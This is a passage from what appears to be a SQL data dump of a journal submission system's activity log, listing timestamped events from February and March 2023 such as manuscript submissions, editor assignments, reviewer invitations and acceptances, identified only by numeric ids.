Manuscript',13504,'Editor',1675),(125178,'2023-02-22 12:08:03','Editor has been Editor Decision Accepted article',13504,'Editor',1675),(125179,'2023-02-22 12:10:05','Editor has Accepted to review Manuscript',13505,'Editor',1574),(125180,'2023-02-22 12:10:31','Editor has been Editor Decision Accepted article',13505,'Editor',1574),(125181,'2023-02-22 12:13:38','Publisher has Invited Reviewer',13503,'Publisher',85),(125182,'2023-02-22 12:13:43','Publisher has Invited Reviewer',13503,'Publisher',85),(125183,'2023-02-22 12:14:10','Publisher has Invited Reviewer',13503,'Publisher',85),(125184,'2023-02-22 12:14:16','Publisher has Invited Reviewer',13503,'Publisher',85),(125185,'2023-02-22 12:14:22','Publisher has Invited Reviewer',13503,'Publisher',85),(125186,'2023-02-22 12:16:15','Publisher has Invited Reviewer',13504,'Publisher',85),(125187,'2023-02-22 12:16:20','Publisher has Invited Reviewer',13504,'Publisher',85),(125188,'2023-02-22 12:16:26','Publisher has Invited Reviewer',13504,'Publisher',85),(125189,'2023-02-22 12:16:31','Publisher has Invited Reviewer',13504,'Publisher',85),(125190,'2023-02-22 12:16:36','Publisher has Invited Reviewer',13504,'Publisher',85),(125191,'2023-02-22 12:17:45','Publisher has Invited Reviewer',13505,'Publisher',85),(125192,'2023-02-22 12:17:50','Publisher has Invited Reviewer',13505,'Publisher',85),(125193,'2023-02-22 12:17:56','Publisher has Invited Reviewer',13505,'Publisher',85),(125194,'2023-02-22 12:18:01','Publisher has Invited Reviewer',13505,'Publisher',85),(125195,'2023-02-22 12:18:06','Publisher has Invited Reviewer',13505,'Publisher',85),(125196,'2023-02-22 14:11:52','Publisher has been Assigned Editor',13508,'Publisher',248),(125197,'2023-02-22 14:13:03','Publisher has Invited Reviewer',13508,'Publisher',248),(125198,'2023-02-22 14:13:51','Publisher has Invited Reviewer',13508,'Publisher',248),(125199,'2023-02-22 14:13:58','Publisher has Invited Reviewer',13508,'Publisher',248),(125200,'2023-02-22 14:14:08','Publisher has Invited Reviewer',13508,'Publisher',248),(125201,'2023-02-22 14:14:13','Publisher has Invited Reviewer',13508,'Publisher',248),(125202,'2023-02-22 14:14:19','Publisher has Invited Reviewer',13508,'Publisher',248),(125203,'2023-02-22 14:14:24','Publisher has Invited Reviewer',13508,'Publisher',248),(125204,'2023-02-22 14:14:29','Publisher has Invited Reviewer',13508,'Publisher',248),(125205,'2023-02-22 14:27:58','Publisher has been Assigned Editor',13506,'Publisher',376),(125206,'2023-02-22 14:28:30','Publisher has Invited Reviewer',13506,'Publisher',376),(125207,'2023-02-22 14:28:35','Publisher has Invited Reviewer',13506,'Publisher',376),(125208,'2023-02-22 14:28:44','Publisher has Invited Reviewer',13506,'Publisher',376),(125209,'2023-02-22 14:28:49','Publisher has Invited Reviewer',13506,'Publisher',376),(125210,'2023-02-22 21:23:29','Manuscript Submitted by Author using Submission form',13509,'Author',13679),(125211,'2023-02-22 22:27:45','Reviewer has submitted comments',13504,'Reviewer',21528),(125212,'2023-02-23 09:41:05','Publisher has Invited Reviewer',13503,'Publisher',85),(125213,'2023-02-23 09:41:10','Publisher has Invited Reviewer',13503,'Publisher',85),(125214,'2023-02-23 09:41:15','Publisher has Invited Reviewer',13503,'Publisher',85),(125215,'2023-02-23 09:41:20','Publisher has Invited Reviewer',13503,'Publisher',85),(125216,'2023-02-23 09:41:25','Publisher has Invited Reviewer',13503,'Publisher',85),(125217,'2023-02-23 09:42:10','Publisher has Invited Reviewer',13504,'Publisher',85),(125218,'2023-02-23 09:42:14','Publisher has Invited Reviewer',13504,'Publisher',85),(125219,'2023-02-23 09:42:19','Publisher has Invited Reviewer',13504,'Publisher',85),(125220,'2023-02-23 09:42:24','Publisher has Invited Reviewer',13504,'Publisher',85),(125221,'2023-02-23 09:42:29','Publisher has Invited Reviewer',13504,'Publisher',85),(125222,'2023-02-23 09:44:43','Publisher has Invited Reviewer',13505,'Publisher',85),(125223,'2023-02-23 09:44:48','Publisher has Invited Reviewer',13505,'Publisher',85),(125224,'2023-02-23 09:44:53','Publisher has Invited Reviewer',13505,'Publisher',85),(125225,'2023-02-23 09:44:58','Publisher has Invited Reviewer',13505,'Publisher',85),(125226,'2023-02-23 09:45:03','Publisher has Invited Reviewer',13505,'Publisher',85),(125227,'2023-02-23 10:09:20','Reviewer has submitted comments',13505,'Reviewer',21528),(125228,'2023-02-23 11:03:24','Publisher has been Assigned Editor',0,'Publisher',376),(125229,'2023-02-23 11:22:17','Editor has Accepted to review Manuscript',13506,'Editor',1011),(125230,'2023-02-23 11:22:28','Editor has been Editor Decision Accepted article',13506,'Editor',1011),(125231,'2023-02-23 11:24:44','Reviewer has submitted comments',13506,'Reviewer',9159),(125232,'2023-02-23 11:25:44','Reviewer has submitted comments',13506,'Reviewer',9155),(125233,'2023-02-23 11:26:40','Reviewer has submitted comments',13506,'Reviewer',7213),(125234,'2023-02-23 11:26:45','Reviewer has submitted comments',13506,'Reviewer',7213),(125235,'2023-02-23 11:27:46','Reviewer has submitted comments',13506,'Reviewer',7212),(125236,'2023-02-23 11:28:57','Publisher: Accept Notification has been sent to Author',13506,'Publisher',376),(125237,'2023-02-23 13:33:38','Manuscript Submitted by Author using Submission form',13510,'Author',13680),(125238,'2023-02-23 13:45:55','Manuscript Submitted by Author using Submission form',13511,'Author',13681),(125239,'2023-02-23 13:48:26','Manuscript Submitted by Author using Submission form',13512,'Author',13682),(125240,'2023-02-23 13:59:28','Manuscript Submitted by Publisher',13513,'Publisher',84),(125241,'2023-02-23 14:00:15','Manuscript Submitted by Author using Submission form',13514,'Author',13683),(125242,'2023-02-23 14:49:27','Publisher: Accept Notification has been sent to Author',13506,'Publisher',376),(125243,'2023-02-24 10:30:04','Publisher has Invited Reviewer',13503,'Publisher',85),(125244,'2023-02-24 10:30:09','Publisher has Invited Reviewer',13503,'Publisher',85),(125245,'2023-02-24 10:30:14','Publisher has Invited Reviewer',13503,'Publisher',85),(125246,'2023-02-24 10:30:19','Publisher has Invited Reviewer',13503,'Publisher',85),(125247,'2023-02-24 10:30:23','Publisher has Invited Reviewer',13503,'Publisher',85),(125248,'2023-02-24 10:35:57','Manuscript Submitted by Publisher',13515,'Publisher',85),(125249,'2023-02-24 10:52:46','Manuscript Submitted by Publisher',13516,'Publisher',85),(125250,'2023-02-24 11:05:29','Manuscript Submitted by Publisher',13517,'Publisher',85),(125251,'2023-02-24 11:08:13','Manuscript Submitted by Publisher',13518,'Publisher',85),(125252,'2023-02-24 11:16:04','Publisher has been Assigned Editor',13509,'Publisher',376),(125253,'2023-02-24 11:22:52','Manuscript Submitted by Publisher',13519,'Publisher',85),(125254,'2023-02-24 11:23:32','Publisher has Invited Reviewer',13509,'Publisher',376),(125255,'2023-02-24 11:23:37','Publisher has Invited Reviewer',13509,'Publisher',376),(125256,'2023-02-24 11:23:42','Publisher has Invited Reviewer',13509,'Publisher',376),(125257,'2023-02-24 11:23:47','Publisher has Invited Reviewer',13509,'Publisher',376),(125258,'2023-02-24 14:38:57','Publisher has Invited Reviewer',13502,'Publisher',48),(125259,'2023-02-24 14:39:02','Publisher has Invited Reviewer',13502,'Publisher',48),(125260,'2023-02-24 14:39:07','Publisher has Invited Reviewer',13502,'Publisher',48),(125261,'2023-02-24 14:39:12','Publisher has Invited Reviewer',13502,'Publisher',48),(125262,'2023-02-24 14:39:17','Publisher has Invited Reviewer',13502,'Publisher',48),(125263,'2023-02-24 14:39:22','Publisher has Invited Reviewer',13502,'Publisher',48),(125264,'2023-02-24 14:40:01','Publisher has Invited Reviewer',13501,'Publisher',48),(125265,'2023-02-24 14:40:06','Publisher has Invited Reviewer',13501,'Publisher',48),(125266,'2023-02-24 14:40:11','Publisher has Invited Reviewer',13501,'Publisher',48),(125267,'2023-02-24 14:40:15','Publisher has Invited Reviewer',13501,'Publisher',48),(125268,'2023-02-24 14:40:20','Publisher has Invited Reviewer',13501,'Publisher',48),(125269,'2023-02-24 14:41:31','Publisher has Invited Reviewer',13477,'Publisher',48),(125270,'2023-02-24 14:41:36','Publisher has Invited Reviewer',13477,'Publisher',48),(125271,'2023-02-24 14:41:41','Publisher has Invited Reviewer',13477,'Publisher',48),(125272,'2023-02-24 14:41:46','Publisher has Invited Reviewer',13477,'Publisher',48),(125273,'2023-02-24 14:59:21','Publisher has been Assigned Editor',13514,'Publisher',988),(125274,'2023-02-24 14:59:34','Publisher has been Assigned Editor',13512,'Publisher',988),(125275,'2023-02-24 14:59:47','Publisher has been Assigned Editor',13510,'Publisher',988),(125276,'2023-02-24 15:01:55','Publisher has Invited Reviewer',13510,'Publisher',988),(125277,'2023-02-24 15:02:00','Publisher has Invited Reviewer',13510,'Publisher',988),(125278,'2023-02-24 15:02:05','Publisher has Invited Reviewer',13510,'Publisher',988),(125279,'2023-02-24 15:02:10','Publisher has Invited Reviewer',13510,'Publisher',988),(125280,'2023-02-24 15:02:15','Publisher has Invited Reviewer',13510,'Publisher',988),(125281,'2023-02-24 15:02:20','Publisher has Invited Reviewer',13510,'Publisher',988),(125282,'2023-02-24 15:02:25','Publisher has Invited Reviewer',13510,'Publisher',988),(125283,'2023-02-24 15:02:29','Publisher has Invited Reviewer',13510,'Publisher',988),(125284,'2023-02-24 15:21:04','Publisher has been Assigned Editor',13513,'Publisher',84),(125285,'2023-02-24 15:21:26','Publisher has Invited Reviewer',13513,'Publisher',84),(125286,'2023-02-24 15:21:27','Publisher has Invited Reviewer',13513,'Publisher',84),(125287,'2023-02-24 15:21:28','Publisher has Invited Reviewer',13513,'Publisher',84),(125288,'2023-02-24 15:21:29','Publisher has Invited Reviewer',13513,'Publisher',84),(125289,'2023-02-24 15:21:30','Publisher has Invited Reviewer',13513,'Publisher',84),(125290,'2023-02-24 15:21:31','Publisher has Invited Reviewer',13513,'Publisher',84),(125291,'2023-02-24 15:21:32','Publisher has Invited Reviewer',13513,'Publisher',84),(125292,'2023-02-24 15:21:33','Publisher has Invited Reviewer',13513,'Publisher',84),(125293,'2023-02-24 15:21:34','Publisher has Invited Reviewer',13513,'Publisher',84),(125294,'2023-02-24 15:21:35','Publisher has Invited Reviewer',13513,'Publisher',84),(125295,'2023-02-24 15:21:36','Publisher has Invited Reviewer',13513,'Publisher',84),(125296,'2023-02-24 15:21:37','Publisher has Invited Reviewer',13513,'Publisher',84),(125297,'2023-02-24 15:21:38','Publisher has Invited Reviewer',13513,'Publisher',84),(125298,'2023-02-24 15:21:39','Publisher has Invited Reviewer',13513,'Publisher',84),(125299,'2023-02-24 15:21:39','Publisher has Invited Reviewer',13513,'Publisher',84),(125300,'2023-02-24 15:21:41','Publisher has Invited Reviewer',13513,'Publisher',84),(125301,'2023-02-24 15:21:42','Publisher has Invited Reviewer',13513,'Publisher',84),(125302,'2023-02-24 15:21:43','Publisher has Invited Reviewer',13513,'Publisher',84),(125303,'2023-02-24 15:21:44','Publisher has Invited Reviewer',13513,'Publisher',84),(125304,'2023-02-24 15:21:45','Publisher has Invited Reviewer',13513,'Publisher',84),(125305,'2023-02-24 15:22:09','Publisher has been Assigned Editor',13511,'Publisher',988),(125306,'2023-02-24 19:09:56','Manuscript Submitted by Author using Submission form',13520,'Author',13689),(125307,'2023-02-24 19:12:37','Manuscript Submitted by Author using Submission form',13521,'Author',13690),(125308,'2023-02-25 10:04:58','Editor has Accepted to review Manuscript',13509,'Editor',1011),(125309,'2023-02-25 10:05:21','Editor has been Editor Decision Accepted article',13509,'Editor',1011),(125310,'2023-02-25 10:05:22','Editor has been Editor Decision Accepted article',13509,'Editor',1011),(125311,'2023-02-25 10:05:22','Editor has been Editor Decision Accepted article',13509,'Editor',1011),(125312,'2023-02-25 10:05:22','Editor has been Editor Decision Accepted article',13509,'Editor',1011),(125313,'2023-02-25 10:05:22','Editor has been Editor Decision Accepted article',13509,'Editor',1011),(125314,'2023-02-25 10:07:27','Reviewer has submitted comments',13509,'Reviewer',12274),(125315,'2023-02-25 10:09:09','Reviewer has submitted comments',13509,'Reviewer',12273),(125316,'2023-02-25 10:10:48','Reviewer has submitted comments',13509,'Reviewer',12264),(125317,'2023-02-25 10:12:23','Reviewer has submitted comments',13509,'Reviewer',12263),(125318,'2023-02-25 10:17:44','Publisher has Invited Reviewer',13511,'Publisher',988),(125319,'2023-02-25 10:17:49','Publisher has Invited Reviewer',13511,'Publisher',988),(125320,'2023-02-25 10:17:53','Publisher has Invited Reviewer',13511,'Publisher',988),(125321,'2023-02-25 10:17:58','Publisher has Invited Reviewer',13511,'Publisher',988),(125322,'2023-02-25 10:18:03','Publisher has Invited Reviewer',13511,'Publisher',988),(125323,'2023-02-25 10:18:08','Publisher has Invited Reviewer',13511,'Publisher',988),(125324,'2023-02-25 10:18:13','Publisher has Invited Reviewer',13511,'Publisher',988),(125325,'2023-02-25 10:18:46','Publisher has Invited Reviewer',13514,'Publisher',988),(125326,'2023-02-25 10:18:51','Publisher has Invited Reviewer',13514,'Publisher',988),(125327,'2023-02-25 10:18:56','Publisher has Invited Reviewer',13514,'Publisher',988),(125328,'2023-02-25 10:19:01','Publisher has Invited Reviewer',13514,'Publisher',988),(125329,'2023-02-25 10:19:05','Publisher has Invited Reviewer',13514,'Publisher',988),(125330,'2023-02-25 10:19:10','Publisher has Invited Reviewer',13514,'Publisher',988),(125331,'2023-02-25 10:19:15','Publisher has Invited Reviewer',13514,'Publisher',988),(125332,'2023-02-25 10:19:20','Publisher has Invited Reviewer',13514,'Publisher',988),(125333,'2023-02-25 10:19:55','Publisher has Invited Reviewer',13512,'Publisher',988),(125334,'2023-02-25 10:20:00','Publisher has Invited Reviewer',13512,'Publisher',988),(125335,'2023-02-25 10:20:05','Publisher has Invited Reviewer',13512,'Publisher',988),(125336,'2023-02-25 10:20:10','Publisher has Invited Reviewer',13512,'Publisher',988),(125337,'2023-02-25 10:20:15','Publisher has Invited Reviewer',13512,'Publisher',988),(125338,'2023-02-25 10:20:19','Publisher has Invited Reviewer',13512,'Publisher',988),(125339,'2023-02-25 10:20:24','Publisher has Invited Reviewer',13512,'Publisher',988),(125340,'2023-02-25 11:20:50','Publisher: Accept Notification has been sent to Author',13509,'Publisher',376),(125341,'2023-02-26 15:34:57','Manuscript Submitted by Author using Submission form',13522,'Author',13691),(125342,'2023-02-27 10:53:31','Publisher has been Assigned Editor',13521,'Publisher',645),(125343,'2023-02-27 11:32:07','Editor has Accepted to review Manuscript',13521,'Editor',633),(125344,'2023-02-27 11:32:21','Editor has been Editor Decision Accepted article',13521,'Editor',633),(125345,'2023-02-27 11:33:03','Publisher has Invited Reviewer',13521,'Publisher',645),(125346,'2023-02-27 11:33:07','Publisher has Invited Reviewer',13521,'Publisher',645),(125347,'2023-02-27 11:33:12','Publisher has Invited Reviewer',13521,'Publisher',645),(125348,'2023-02-27 11:33:17','Publisher has Invited Reviewer',13521,'Publisher',645),(125349,'2023-02-27 11:33:22','Publisher has Invited Reviewer',13521,'Publisher',645),(125350,'2023-02-27 11:33:27','Publisher has Invited Reviewer',13521,'Publisher',645),(125351,'2023-02-27 11:33:41','Publisher has Invited Reviewer',13521,'Publisher',645),(125352,'2023-02-27 11:33:57','Publisher has Invited Reviewer',13521,'Publisher',645),(125353,'2023-02-27 11:34:02','Publisher has Invited Reviewer',13521,'Publisher',645),(125354,'2023-02-27 11:34:16','Publisher has Invited Reviewer',13521,'Publisher',645),(125355,'2023-02-27 11:34:21','Publisher has Invited Reviewer',13521,'Publisher',645),(125356,'2023-02-27 11:34:44','Publisher has Invited Reviewer',13521,'Publisher',645),(125357,'2023-02-27 11:34:49','Publisher has Invited Reviewer',13521,'Publisher',645),(125358,'2023-02-27 11:34:54','Publisher has Invited Reviewer',13521,'Publisher',645),(125359,'2023-02-27 11:34:59','Publisher has Invited Reviewer',13521,'Publisher',645),(125360,'2023-02-27 11:35:04','Publisher has Invited Reviewer',13521,'Publisher',645),(125361,'2023-02-27 11:35:08','Publisher has Invited Reviewer',13521,'Publisher',645),(125362,'2023-02-27 11:35:13','Publisher has Invited Reviewer',13521,'Publisher',645),(125363,'2023-02-27 11:35:18','Publisher has Invited Reviewer',13521,'Publisher',645),(125364,'2023-02-27 12:01:45','Editor has Accepted to review Manuscript',13514,'Editor',1783),(125365,'2023-02-27 12:01:49','Editor has Accepted to review Manuscript',13512,'Editor',1783),(125366,'2023-02-27 12:01:53','Editor has Accepted to review Manuscript',13511,'Editor',1783),(125367,'2023-02-27 12:01:57','Editor has Accepted to review Manuscript',13510,'Editor',1783),(125368,'2023-02-27 12:02:15','Editor has been Editor Decision Accepted article',13514,'Editor',1783),(125369,'2023-02-27 12:02:22','Editor has been Editor Decision Accepted article',13512,'Editor',1783),(125370,'2023-02-27 12:02:31','Editor has been Editor Decision Accepted article',13511,'Editor',1783),(125371,'2023-02-27 12:02:37','Editor has been Editor Decision Accepted article',13510,'Editor',1783),(125372,'2023-02-27 12:03:10','Manuscript Updated',13510,'Publisher',988),(125373,'2023-02-27 12:03:31','Publisher has been Accepted Articles  article',13510,'Publisher',988),(125374,'2023-02-27 12:03:38','Manuscript Updated',13510,'Publisher',988),(125375,'2023-02-27 12:03:53','Manuscript Updated',13511,'Publisher',988),(125376,'2023-02-27 12:04:13','Publisher has been Accepted Articles  article',13511,'Publisher',988),(125377,'2023-02-27 12:04:22','Manuscript Updated',13511,'Publisher',988),(125378,'2023-02-27 12:04:35','Manuscript Updated',13512,'Publisher',988),(125379,'2023-02-27 12:04:52','Publisher has been Accepted Articles  article',13512,'Publisher',988),(125380,'2023-02-27 12:04:59','Manuscript Updated',13512,'Publisher',988),(125381,'2023-02-27 12:05:07','Manuscript Updated',13514,'Publisher',988),(125382,'2023-02-27 12:05:23','Publisher has been Accepted Articles  article',13514,'Publisher',988),(125383,'2023-02-27 12:05:32','Manuscript Updated',13514,'Publisher',988),(125384,'2023-02-27 13:06:21','Publisher has been Assigned Editor',13519,'Publisher',85),(125385,'2023-02-27 13:06:45','Publisher has been Assigned Editor',13518,'Publisher',85),(125386,'2023-02-27 13:07:00','Publisher has been Assigned Editor',13517,'Publisher',85),(125387,'2023-02-27 13:07:18','Publisher has been Assigned Editor',13516,'Publisher',85),(125388,'2023-02-27 13:07:36','Publisher has been Assigned Editor',13515,'Publisher',85),(125389,'2023-02-27 13:40:49','Manuscript Submitted by Author',13523,'Author',13689),(125390,'2023-02-27 16:49:06','Editor has Accepted to review Manuscript',13515,'Editor',1439),(125391,'2023-02-27 16:49:18','Editor has been Editor Decision Accepted article',13515,'Editor',1439),(125392,'2023-02-27 16:49:30','Editor has Accepted to review Manuscript',13516,'Editor',1439),(125393,'2023-02-27 16:49:48','Editor has been Editor Decision Accepted article',13516,'Editor',1439),(125394,'2023-02-27 16:49:53','Editor has Accepted to review Manuscript',13517,'Editor',1439),(125395,'2023-02-27 16:50:01','Editor has been Editor Decision Accepted article',13517,'Editor',1439),(125396,'2023-02-27 16:50:10','Editor has Accepted to review Manuscript',13518,'Editor',1439),(125397,'2023-02-27 16:50:18','Editor has been Editor Decision Accepted article',13518,'Editor',1439),(125398,'2023-02-27 16:50:32','Editor has Accepted to review Manuscript',13519,'Editor',1439),(125399,'2023-02-27 16:50:44','Editor has been Editor Decision Accepted article',13519,'Editor',1439),(125400,'2023-02-27 17:24:07','Manuscript Updated',13515,'Publisher',85),(125401,'2023-02-27 17:24:25','Publisher has been Accepted Articles  article',13515,'Publisher',85),(125402,'2023-02-27 17:24:39','Manuscript Updated',13515,'Publisher',85),(125403,'2023-02-27 17:25:07','Manuscript Updated',13516,'Publisher',85),(125404,'2023-02-27 17:25:25','Publisher has been Accepted Articles  article',13516,'Publisher',85),(125405,'2023-02-27 17:25:34','Manuscript Updated',13516,'Publisher',85),(125406,'2023-02-27 17:25:59','Manuscript Updated',13517,'Publisher',85),(125407,'2023-02-27 17:26:16','Publisher has been Accepted Articles  article',13517,'Publisher',85),(125408,'2023-02-27 17:26:23','Manuscript Updated',13517,'Publisher',85),(125409,'2023-02-27 17:27:22','Manuscript Updated',13518,'Publisher',85),(125410,'2023-02-27 17:28:10','Publisher has been Accepted Articles  article',13518,'Publisher',85),(125411,'2023-02-27 17:28:19','Manuscript Updated',13518,'Publisher',85),(125412,'2023-02-27 17:28:31','Manuscript Updated',13519,'Publisher',85),(125413,'2023-02-27 17:28:45','Publisher has been Accepted Articles  article',13519,'Publisher',85),(125414,'2023-02-27 17:29:05','Manuscript Updated',13519,'Publisher',85),(125415,'2023-02-27 19:35:26','Reviewer has submitted comments',13501,'Reviewer',5467),(125416,'2023-02-28 10:18:00','Editor has been Editor Decision Accepted article',13521,'Editor',633),(125417,'2023-02-28 13:28:38','Manuscript Submitted by Publisher',13525,'Publisher',75),(125418,'2023-03-01 12:00:54','Manuscript Submitted by Author using Submission form',13526,'Author',13695),(125419,'2023-03-01 14:12:27','Publisher has been Assigned Editor',13526,'Publisher',673),(125420,'2023-03-01 14:31:33','Publisher has Invited Reviewer',13526,'Publisher',673),(125421,'2023-03-01 14:31:37','Publisher has Invited Reviewer',13526,'Publisher',673),(125422,'2023-03-01 14:31:42','Publisher has Invited Reviewer',13526,'Publisher',673),(125423,'2023-03-01 14:31:46','Publisher has Invited Reviewer',13526,'Publisher',673),(125424,'2023-03-01 14:31:51','Publisher has Invited Reviewer',13526,'Publisher',673),(125425,'2023-03-01 14:31:56','Publisher has Invited Reviewer',13526,'Publisher',673),(125426,'2023-03-01 14:32:00','Publisher has Invited Reviewer',13526,'Publisher',673),(125427,'2023-03-01 14:32:05','Publisher has Invited Reviewer',13526,'Publisher',673),(125428,'2023-03-01 14:32:09','Publisher has Invited Reviewer',13526,'Publisher',673),(125429,'2023-03-01 14:32:14','Publisher has Invited Reviewer',13526,'Publisher',673),(125430,'2023-03-01 14:32:19','Publisher has Invited Reviewer',13526,'Publisher',673),(125431,'2023-03-01 14:32:23','Publisher has Invited Reviewer',13526,'Publisher',673),(125432,'2023-03-01 14:32:28','Publisher has Invited Reviewer',13526,'Publisher',673),(125433,'2023-03-01 14:32:33','Publisher has Invited Reviewer',13526,'Publisher',673),(125434,'2023-03-01 14:32:37','Publisher has Invited Reviewer',13526,'Publisher',673),(125435,'2023-03-01 14:32:42','Publisher has Invited Reviewer',13526,'Publisher',673),(125436,'2023-03-01 14:32:47','Publisher has Invited Reviewer',13526,'Publisher',673),(125437,'2023-03-01 14:32:51','Publisher has Invited Reviewer',13526,'Publisher',673),(125438,'2023-03-01 14:32:56','Publisher has Invited Reviewer',13526,'Publisher',673),(125439,'2023-03-01 14:33:01','Publisher has Invited Reviewer',13526,'Publisher',673),(125440,'2023-03-01 14:33:05','Publisher has Invited Reviewer',13526,'Publisher',673),(125441,'2023-03-01 14:33:10','Publisher has Invited Reviewer',13526,'Publisher',673),(125442,'2023-03-01 14:33:15','Publisher has Invited Reviewer',13526,'Publisher',673),(125443,'2023-03-01 14:33:19','Publisher has Invited Reviewer',13526,'Publisher',673),(125444,'2023-03-01 14:33:24','Publisher has Invited Reviewer',13526,'Publisher',673),(125445,'2023-03-01 14:33:28','Publisher has Invited Reviewer',13526,'Publisher',673),(125446,'2023-03-01 14:33:33','Publisher has Invited Reviewer',13526,'Publisher',673),(125447,'2023-03-01 14:33:38','Publisher has Invited Reviewer',13526,'Publisher',673),(125448,'2023-03-01 14:33:43','Publisher has Invited Reviewer',13526,'Publisher',673),(125449,'2023-03-01 14:33:47','Publisher has Invited Reviewer',13526,'Publisher',673),(125450,'2023-03-01 14:33:52','Publisher has Invited Reviewer',13526,'Publisher',673),(125451,'2023-03-01 14:33:56','Publisher has Invited Reviewer',13526,'Publisher',673),(125452,'2023-03-01 14:34:01','Publisher has Invited Reviewer',13526,'Publisher',673),(125453,'2023-03-01 14:38:33','Publisher has been Assigned Editor',13525,'Publisher',75),(125454,'2023-03-01 14:43:32','Publisher has Invited Reviewer',13525,'Publisher',75),(125455,'2023-03-01 14:43:59','Publisher has Invited Reviewer',13525,'Publisher',75),(125456,'2023-03-01 14:46:34','Publisher has Invited Reviewer',13525,'Publisher',75),(125457,'2023-03-01 14:46:38','Publisher has Invited Reviewer',13525,'Publisher',75),(125458,'2023-03-01 14:46:43','Publisher has Invited Reviewer',13525,'Publisher',75),(125459,'2023-03-01 14:46:48','Publisher has Invited Reviewer',13525,'Publisher',75),(125460,'2023-03-01 14:46:52','Publisher has Invited Reviewer',13525,'Publisher',75),(125461,'2023-03-01 22:25:36','Reviewer has submitted comments',13525,'Reviewer',21529),(125462,'2023-03-01 22:39:09','Editor has Accepted to review Manuscript',13502,'Editor',195),(125463,'2023-03-01 22:39:42','Editor has Invited Reviewer',13502,'Editor',195),(125464,'2023-03-01 22:39:47','Editor has Invited Reviewer',13502,'Editor',195),(125465,'2023-03-01 22:39:52','Editor has Invited Reviewer',13502,'Editor',195),(125466,'2023-03-01 22:39:57','Editor has Invited Reviewer',13502,'Editor',195),(125467,'2023-03-01 22:40:02','Editor has Invited Reviewer',13502,'Editor',195),(125468,'2023-03-01 22:40:20','Editor has Invited Reviewer',13502,'Editor',195),(125469,'2023-03-01 22:40:25','Editor has Invited Reviewer',13502,'Editor',195),(125470,'2023-03-01 22:40:30','Editor has Invited Reviewer',13502,'Editor',195),(125471,'2023-03-01 22:40:35','Editor has Invited Reviewer',13502,'Editor',195),(125472,'2023-03-01 22:40:40','Editor has Invited Reviewer',13502,'Editor',195),(125473,'2023-03-01 22:40:44','Editor has Invited Reviewer',13502,'Editor',195),(125474,'2023-03-01 22:40:49','Editor has Invited Reviewer',13502,'Editor',195),(125475,'2023-03-01 22:40:54','Editor has Invited Reviewer',13502,'Editor',195),(125476,'2023-03-01 22:40:59','Editor has Invited Reviewer',13502,'Editor',195),(125477,'2023-03-01 22:41:04','Editor has Invited Reviewer',13502,'Editor',195),(125478,'2023-03-01 22:41:09','Editor has Invited Reviewer',13502,'Editor',195),(125479,'2023-03-01 22:41:23','Editor has Declined to review Manuscript',13501,'Editor',195),(125480,'2023-03-01 22:41:45','Editor has been Editor Decision Accepted article',12807,'Editor',195),(125481,'2023-03-01 22:42:03','Editor has been Editor Decision Accepted article',12804,'Editor',195),(125482,'2023-03-01 22:42:28','Editor has been Editor Decision Accepted article',12703,'Editor',195),(125483,'2023-03-01 22:42:47','Editor has been Editor Decision Accepted article',3498,'Editor',195),(125484,'2023-03-02 11:48:09','Manuscript Submitted by Publisher',13527,'',1491),(125485,'2023-03-02 14:19:35','Manuscript Submitted by Author using Submission form',13528,'Author',13697),(125486,'2023-03-03 15:23:01','Manuscript Submitted by Author using Submission form',13529,'Author',13698),(125487,'2023-03-03 15:23:42','Manuscript Submitted by Author using Submission form',13530,'Author',13699),(125488,'2023-03-03 17:04:22','Manuscript Submitted by Author using Submission form',13531,'Author',13700),(125489,'2023-03-03 17:06:44','Manuscript Submitted by Author using Submission form',13532,'Author',13701),(125490,'2023-03-03 17:09:28','Manuscript Submitted by Author using Submission form',13533,'Author',13702),(125491,'2023-03-03 17:12:07','Manuscript Submitted by Author using Submission form',13534,'Author',13703),(125492,'2023-03-03 17:14:07','Manuscript Submitted by Author using Submission form',13535,'Author',13704),(125493,'2023-03-03 17:16:07','Manuscript Submitted by Author using Submission form',13536,'Author',13705),(125494,'2023-03-04 10:05:43','Publisher has been Assigned Editor',13529,'Publisher',988),(125495,'2023-03-04 10:08:19','Publisher has Invited Reviewer',13529,'Publisher',988),(125496,'2023-03-04 10:08:24','Publisher has Invited Reviewer',13529,'Publisher',988),(125497,'2023-03-04 10:08:29','Publisher has Invited Reviewer',13529,'Publisher',988),(125498,'2023-03-04 10:08:33','Publisher has Invited Reviewer',13529,'Publisher',988),(125499,'2023-03-04 10:08:38','Publisher has Invited Reviewer',13529,'Publisher',988),(125500,'2023-03-04 10:08:43','Publisher has Invited Reviewer',13529,'Publisher',988),(125501,'2023-03-04 10:08:48','Publisher has Invited Reviewer',13529,'Publisher',988),(125502,'2023-03-04 10:08:52','Publisher has Invited Reviewer',13529,'Publisher',988),(125503,'2023-03-04 10:08:57','Publisher has Invited Reviewer',13529,'Publisher',988),(125504,'2023-03-04 10:09:02','Publisher has Invited Reviewer',13529,'Publisher',988),(125505,'2023-03-04 10:09:07','Publisher has Invited Reviewer',13529,'Publisher',988),(125506,'2023-03-04 10:09:12','Publisher has Invited Reviewer',13529,'Publisher',988),(125507,'2023-03-04 10:09:17','Publisher has Invited Reviewer',13529,'Publisher',988),(125508,'2023-03-04 10:09:22','Publisher has Invited Reviewer',13529,'Publisher',988),(125509,'2023-03-04 10:09:27','Publisher has Invited Reviewer',13529,'Publisher',988),(125510,'2023-03-04 10:09:32','Publisher has Invited Reviewer',13529,'Publisher',988),(125511,'2023-03-04 10:09:37','Publisher has Invited Reviewer',13529,'Publisher',988),(125512,'2023-03-04 10:09:41','Publisher has Invited Reviewer',13529,'Publisher',988),(125513,'2023-03-04 10:09:46','Publisher has Invited Reviewer',13529,'Publisher',988),(125514,'2023-03-04 10:09:51','Publisher has Invited Reviewer',13529,'Publisher',988),(125515,'2023-03-04 10:09:56','Publisher has Invited Reviewer',13529,'Publisher',988),(125516,'2023-03-04 10:10:01','Publisher has Invited Reviewer',13529,'Publisher',988),(125517,'2023-03-04 10:25:12','Manuscript Submitted by Author using Submission form',13537,'Author',13706),(125518,'2023-03-04 12:30:31','Publisher has Invited Reviewer',13526,'Publisher',673),(125519,'2023-03-04 12:30:36','Publisher has Invited Reviewer',13526,'Publisher',673),(125520,'2023-03-04 12:30:41','Publisher has Invited Reviewer',13526,'Publisher',673),(125521,'2023-03-04 12:30:46','Publisher has Invited Reviewer',13526,'Publisher',673),(125522,'2023-03-04 12:30:51','Publisher has Invited Reviewer',13526,'Publisher',673),(125523,'2023-03-04 12:30:56','Publisher has Invited Reviewer',13526,'Publisher',673),(125524,'2023-03-04 12:31:00','Publisher has Invited 